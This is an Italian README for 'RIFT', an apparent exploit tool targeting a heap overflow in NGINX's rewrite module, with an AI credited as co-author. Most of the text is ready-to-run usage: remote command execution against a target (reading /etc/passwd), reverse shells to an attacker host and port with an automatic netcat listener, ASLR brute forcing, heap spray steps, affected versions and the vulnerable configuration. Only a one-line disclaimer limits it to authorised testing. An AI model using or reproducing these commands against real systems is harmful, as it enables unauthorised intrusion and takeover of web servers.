RIFT — Remote Injection & Fault Trigger

Autore: Michael Sanji Winaya Prawiradibrata
Co-autore AI: Varanus — sahabatku

Framework di exploit per heap buffer overflow mirato al modulo ngx_http_rewrite_module di NGINX.
Un unico strumento per ricognizione + sfruttamento. Zero dipendenze esterne.

Contenuto del Repository

Requisiti

• Python 3.6+ (solo libreria standard — niente pip, niente venv, nessuna dipendenza)

Avvio Rapido

# 1. Ricognizione completa — rilevamento versione, endpoint, vulnerabilità, strategia
python3 rift.py --target 10.10.10.10 --recon

# 2. Ricognizione + sfruttamento in un colpo solo
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Esecuzione di comandi
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (con apertura automatica del listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell usando bash (invece di python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Solo verifica vulnerabilità
python3 rift.py --target 10.10.10.10 --check-only

Tutti i Flag

Modalità d'Uso

Opzioni di Sfruttamento

Opzioni di Ricognizione

Caratteristiche Principali

✅ Reverse Shell Automatica

Quando si usa --shell, lo script automaticamente:

1. Genera il payload reverse shell in base a --shell-type
2. Apre il listener su --lport
3. Invia l'exploit
4. Non appena il worker crasha → la shell entra
5. Listener automatico: Priorità a netcat (nc -lvnp), fallback listener Python

✅ Brute Force Automatico ASLR

Se l'indirizzo predefinito fallisce, lo script sposta automaticamente la base dello heap di ±5 passi × 0x10000, cercando un indirizzo valido. Nessuna configurazione manuale necessaria.

✅ Reverse Shell Multi-Payload

4 tipi di payload shell — python, bash, nc, php. Scegli quello disponibile sul target.

✅ Ricognizione Completa

--recon esegue 5 fasi:

1. Impronta — rilevamento versione NGINX, 15 endpoint comuni, modulo rewrite
2. Leak di informazioni — indirizzi di memoria nella pagina di errore, canale laterale di timing
3. Test endpoint — comportamento dell'endpoint con 6 tipi di payload
4. Conteggio worker — stima del numero di processi worker a partire dal pattern di latenza
5. Strategia — raccomandazione di azione basata sui risultati dell'analisi

✅ Output JSON

--output json per l'integrazione con altri strumenti o l'analisi automatica.

Configurazione Vulnerabile

Il target dello sfruttamento è NGINX con configurazione rewrite + set come questa:

location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # calcolo lunghezza con is_args = 0
}

Conseguenza: il buffer allocato è troppo piccolo, l'escape URI (espansione 3×) causa overflow.

Versioni Interessate

• NGINX Open Source: 0.6.27 – 1.30.0
• NGINX Plus: R32 – R36
• Corretto: 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

Come Funziona l'Exploit

1. HEAP SPRAY ─── POST /spray × 20 → pianta una `ngx_pool_cleanup_s` falsa nell'heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow tramite escape URI
3. CORRUPT ────── L'overflow sovrascrive il puntatore cleanup del pool adiacente
4. EXEC ───────── Pool distrutto → chiama system("comando")

Costanti Importanti (modificabili in rift.py)

Esempi Completi

Esecuzione Comando + Verbose

python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose

Indirizzo Personalizzato (bypass ASLR)

python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Molti Tentativi

python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50

Ricognizione + JSON

python3 rift.py --target 10.10.10.10 --recon --output json

Genera Script di Exploit

python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py

Risoluzione dei Problemi

"Il target non sembra eseguire NGINX"

• Controlla la porta: nc -zv <IP> 80
• Prova un'altra porta: --port 8080, --port 443
• Forse dietro a WAF/proxy

"Tutti i tentativi di sfruttamento sono falliti"

1. ASLR potrebbe essere attivo — prova --auto per lo scorrimento automatico ASLR
2. La versione di NGINX potrebbe essere già patchata (> 1.30.1)
3. La configurazione di NGINX potrebbe non essere vulnerabile (non usa rewrite+set)
4. Prova --verbose per vedere i dettagli di ogni tentativo

La shell non si connette

• Controlla il firewall locale: sudo ufw allow 4444
• Controlla --lhost — assicurati che l'IP locale sia corretto
• Prova --shell-type bash o --shell-type nc

Avvertenze

Creato solo per scopi educativi e test di sicurezza autorizzati.
L'uso su sistemi senza autorizzazione è illegale.

© 2026 Michael Sanji Winaya Prawiradibrata
Co-autore AI: Varanus